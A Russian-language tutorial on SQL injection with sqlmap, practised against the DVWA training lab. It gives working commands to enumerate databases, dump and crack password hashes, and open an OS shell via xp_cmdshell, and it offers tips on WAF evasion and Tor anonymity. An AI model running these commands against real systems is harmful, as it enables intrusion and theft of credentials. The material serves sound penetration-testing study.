SQL Injection – это тип атаки, при котором злоумышленник изменяет логику SQL запросов веб-приложения, что позволяет ему читать/изменять/удалять значения в базе данных, а иногда – выполнять произвольный код на стороне сервера. В статье будет рассмотрена популярная утилита sqlmap для проведения sql-инъекций.

На данный момент, данный тип уязвимости является наиболее опасным из всех возможных. На протяжении 7 лет, лидирующую строчку «OWASP TOP-10» возглавляют именно SQL инъекции.

Существует 5 основных причин возникновения этой уязвимости:

  1. Недостаточный уровень или отсутствие валидации входных параметров, в особенности пользовательского ввода. «Любой входной параметр — зло»
  2. Необоснованный и слабозащищенный доступ к базам данных. В эту категорию входят такие факторы как: большое количество администраторов и супер-пользователей (root), слабая система аутентификации, большое количество прав для второстепенных администраторов и т.д.
  3. Архитектура. Использование устаревших технологий, отсутствие контрольных мер, пренебрежение методологией «моделирование угроз».
  4. Наследственность заведомо уязвимого кода, использование готовых решений с низким уровнем безопасности.
  5. Отсутствие должного уровня абстрагированности исполняемого кода от данных.

SQLMap.

Типы SQL инъекций.

Рассмотрим типы SQL инъекций эксплуатируемые утилитой SQLMap:

  1. Boolean Based Blind SQL Injection
    • Метод, при котором HTTP-запросы и ответы считываются посимвольно для обнаружения уязвимости.
    • Как только уязвимый параметр обнаружен, SQLMap заменяет или добавляет синтаксически правильные операторы SQL, ожидая реакции выполнения этого кода сервером.
    • SQLMap сравнивает оригинальный валидный запрос с ответом от запроса с внедрённым зловредным кодом.
    • SQLMap использует алгоритм деления пополам (bisectional algorithm) для выборки каждого символа ответа с использованием максимум семи HTTP-запросов.
    • Там, где ответ отдаётся не в чистом тексте, SQLMap адаптирует алгоритм большими значениями для определения ответа.
  2. Time-Based Blind SQL Injection
    • Метод Time Based сам по себе предполагает, что существует некоторое сравнение на основе времени запроса и ответа путем инъекции синтаксически правильного оператора SQL в уязвимый параметр.
    • SQLMap использует операторы SQL, которые помещают базу данных в режим ожидания для возврата на определенное количество времени.
    • Использует тот же алгоритм bisectional algorithm, чтобы выводить символ за символом, SQLMap сравнивает время ответа HTTP с исходным запросом.
  3. Error-Based SQL Injection
    • SQLMap использует операторы SQL, которые могут спровоцировать генерацию специфической ошибки.
    • Утилита ищет ошибки в HTTP-ответе сервера.
    • Этот метод работает только в том случае, если веб-приложение настроено на раскрытие сообщений об ошибках.
  4. UNION Query
    • Вводимый SQL оператор UNION ALL SELECT.
    • SQL-инъекция, основанная на запросах UNION, работает на основе поведения приложения, т.е. когда приложение передает результат письменного запроса SELECT через определенный цикл или строку инструкций, которые позволяют выводить выходные данные на содержимое страницы.
    • В случае, если вывод не циклируется через какой-либо цикл for или другую строку операторов, SQLMap использует однократную инъекцию запроса UNION.
  5. Stacked Query
    • Использование сложенных запросов. SQLMap добавляет точку с запятой (;) в значение уязвимого параметра и добавляет инструкцию SQL, которая должна быть выполнена.
    • Используя эту технику, можно выполнять SQL-выражения, отличные от SELECT. Это полезно для манипуляции данными, получения доступа на чтение и запись и, наконец, захвата операционной системой.
  6. Out-Of-Band
    • В этом методе используется вторичный или другой канал связи для вывода результатов запросов, запущенных в уязвимом приложении.
    • Например, вставка выполняется в веб-приложение, а вторичный канал, такой как DNS-запросы, используется для пересылки данных обратно на домен злоумышленника.

Базовое использование SQLMap.

Запуск утилиты (должна находиться в переменной PATH):

$ sqlmap

Или из директории утилиты:

$ python sqlmap.py

Для вызова документации используется ключ «-h / —help»:

$ sqlmap --help

$ python sqlmap.py –help

Действия ключей SQLMap полностью зависят от того, чего конкретно хочет добиться злоумышленник. Основной список действий SQLMap выглядит следующим образом:

  • Перечислить информацию о базе данных, такую как имя, версию и другие детали.
  • Выбрать определённую базу для перечисления информации о имеющихся в ней таблиц.
  • Выбрать таблицу и перечислить информацию о столбцах.
  • Выбрать столбец и перечислить строки для извлечения их значений.
  • Дальнейшая эксплуатация.

Практика.

Для нашей практической подготовки мы будем использовать Damn Vulnerable Web Application (DVWA или «Чертовски уязвимое веб приложение»).

DVWAэто свободно распространяемое веб-приложение построенное на таких технологиях как PHP и MySQL, предназначенное для тренировки навыков пентеста.

Сейчас нас интересуют только инъекции, но в целом, вы можете проверить свои способности в остальных уязвимостях, созданных на основе официального OWASP TOP-10.

P.S.: Эта практика подразумевает наличие у вас знания основ Linux, начального уровня английского языка и умение использовать Google (в случае неимения вышеперечисленных навыков).

Установка:

  • Скачиваем приложение и следуем инструкциям;
  • Меняем уровень сложности на LOW;
  • Интересуемся только вкладками “SQL Injection”;

Начальные данные:

  • Веб сервер в приватной сети
  • Уязвимый URL: http://yourhost.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Уязвимый параметр: id

Итак, приступим:

  1. Подтверждаем наличие SQL инъекции:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Пояснение к команде:

urlURL с предполагаемым уязвимым параметром. Важно заметить, что переменная этого ключа записана в кавычках, т.к. проверяемый URL имеет больше одного передаваемого параметра. В противном случае кавычками можно пренебречь и использовать короткий вариант ключа “-uбез знака равенства.

cookie – Сессионная куки для прямого доступа во время атаки (необязательный ключ).

Вывод:

sqlmap-1

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • Приложение уязвимо к SQL инъекции
  • Тип инъекции – UNION Query
  • Back-end база данных(DBMS) – MySQL5
  • Технические детали ОС — Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Перечисляем названия баз данных:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Пояснение к команде:

dbs – ключ для перечисления имеющихся баз данных.

Вывод:

sqlmap-2

Анализ: SQLMap перечислил доступные базы данных (всего 7).

 

  1. Перечисляем названия таблиц (бд — dvwa):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Пояснение к команде:

D – Указываем интересующую нас базу данных.

tables – Перечисляем имеющиеся таблицы в бд.

Вывод:

sqlmap-3

Анализ: Как мы видим, SQLMap успешно перечислил названия 2-х таблиц в бд dvwa.

  1. Дальнейшее перечисление названий столбцов таблицы “users”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users –columns

Пояснение к команде:

T – Указываем интересующую нас таблицу.

columns – Перечисляем имеющиеся колонки в таблице.

Вывод:

sqlmap-4

Анализ: Как мы видим, SQLMap успешно перечислил названия 6-х колонок в таблице users, бд dvwa.

  1. Перечисляем/вытягиваем значения из таблицы “users”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump

Пояснение к команде:

-С – Указываем интересующие нас столбцы.

dump – Вытягиваем значения из перечисленных столбцов.

Вывод:

sqlmap-5

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • SQLMap извлекает записи из указанных столбцов и затем анализирует данные, содержащиеся в этих столбцах.
  • Как только данные распознаются как возможные хэши паролей, SQLMap пытается попытаться взломать хэш, используя различные алгоритмы хеширования.
  • В этом случае хеш — MD5, поэтому с помощью самой первой хеш-техники, которую использует инструмент, он может успешно взламывать хэши и выдавать хорошо отформатированный ответ.
  • Кроме того, инструмент сохраняет перечисленные записи в файле формата «.csv» для дальнейшего использования; Поэтому вам не нужно выгружать данные в текстовый файл или делать скриншот, SQLMap позаботится об этом.
  1. Дальнейшая эксплуатация и захват сервера (ASP, не входит в состав DVWA):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Пояснение к команде:

data – Указываем параметры для тестирования, передающиеся в POST запросе.

osshell – Специальный ключ для попытки эксплуатации серверной консоли через SQL инъекцию.

Вывод:

sqlmap-6

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • После подтверждения и эксплуатации SQL-инъекции, SQLMap проверяет, является ли пользователь DBA (Data Base Administrator).
  • После этого инструмент попытался использовать расширенную хранимую процедуру — «xp_cmdshell», которая обычно используется SQL Server 2000.
  • «xp_cmdshell» используется для выполнения заданной командной строки в качестве команды операционной системы. В свою очередь, он выводит результат как стандартный текст.

Преимущества получения более глубокого уровня доступа к системе:

  • Доступ к учетным данным пользователя или хэшам паролей.
  • Интерактивная оболочка, которая позволит вам загружать или выгружать файлы с сервера.
  • Запуск осевых команд (ОS) для изучения внутренней сети.
  • Возможность загрузки малвари.
  • Дальнейшая эксплуатация с помощью Metasploit Framework.
  • Создание и залив бэк-доров.

Best practices и продвинутое использование.

  1.  SQLMap и SOAP (Simple Object Access Protocol) запросы: Процесс анализа запросов SOAP довольно прост:
    • Захват вашего SOAP-запроса.
    • Сохранение его в текстовый файл вместе с возможными уязвимыми параметрами.
    • Используйте нижеприведенную команду для SQLMap вместе с опцией -p, если вам известен уязвимый параметр:
$ ./sqlmap.py -r So_request.txt -p <vulnerable parameter>
    • SQLMap автоматически проанализирует запрос SOAP и попытается проникнуть в уязвимый параметр.
  1. SQLMap и JSON (JavaScript Object Notation) запросы: В аналогичных сценариях использования SQLMap для SOAP-запросов, JSON-запросы тоже могут анализироваться и эксплуатировать. Для запроса типа JSON, SQLMap предложит вам эксплуатировать уязвимость обнаружив тип запроса JSON в «файле запроса». Как только вы ответите утвердительно, инструмент проанализирует запрос и выберет свой собственный вектор атаки.
  2. SQLMap и прокси-сервер: Корпоративные типы сетей обычно защищены и контролируются с использованием контролируемых прокси-серверов для всего входящего или исходящего трафика. В таких случаях у вас есть возможность добавить параметр прокси прямо к опции SQLMap для связи с целевым URL. Хотя SQLMap является инструментом командной строки, он обменивается данными через HTTP-протокол, следовательно, если вы установите HTTP-прокси для соответствующего интернет-соединения, SQLMap примет его за основу:
$ ./sqlmap.py --proxy=http://<proxy-ip>:<proxy-port>
  1. SQLMap и WAF (Web Application Firewall): WAF является дополнительным уровнем защиты веб-приложений, значительно усложняя анализ и эксплуатацию стандартными методами имеющимися в SQLMap. Для этого существует функция “tamperscript”, которая значительно упрощает работу с веб-приложениями, находящимися за WAF’ом.
  2. SQLMap и анонимность: Если вы хотите скрыть свою личность и представиться анонимом для целевого приложения, вы можете использовать прокси-сервер TOR (The Onion Router). В SQLMap вы можете настроить прокси-сервер TOR для скрытия источника, из которого генерируется трафик или запрос следующими ключами:
    • torпереключение утилиты в режим использования TOR-прокси.
    • tortypeручная настройка протокола TOR-прокси (HTTP/SOCKS4/4a/5).
    • checktorпроверка работоспособности TOR-прокси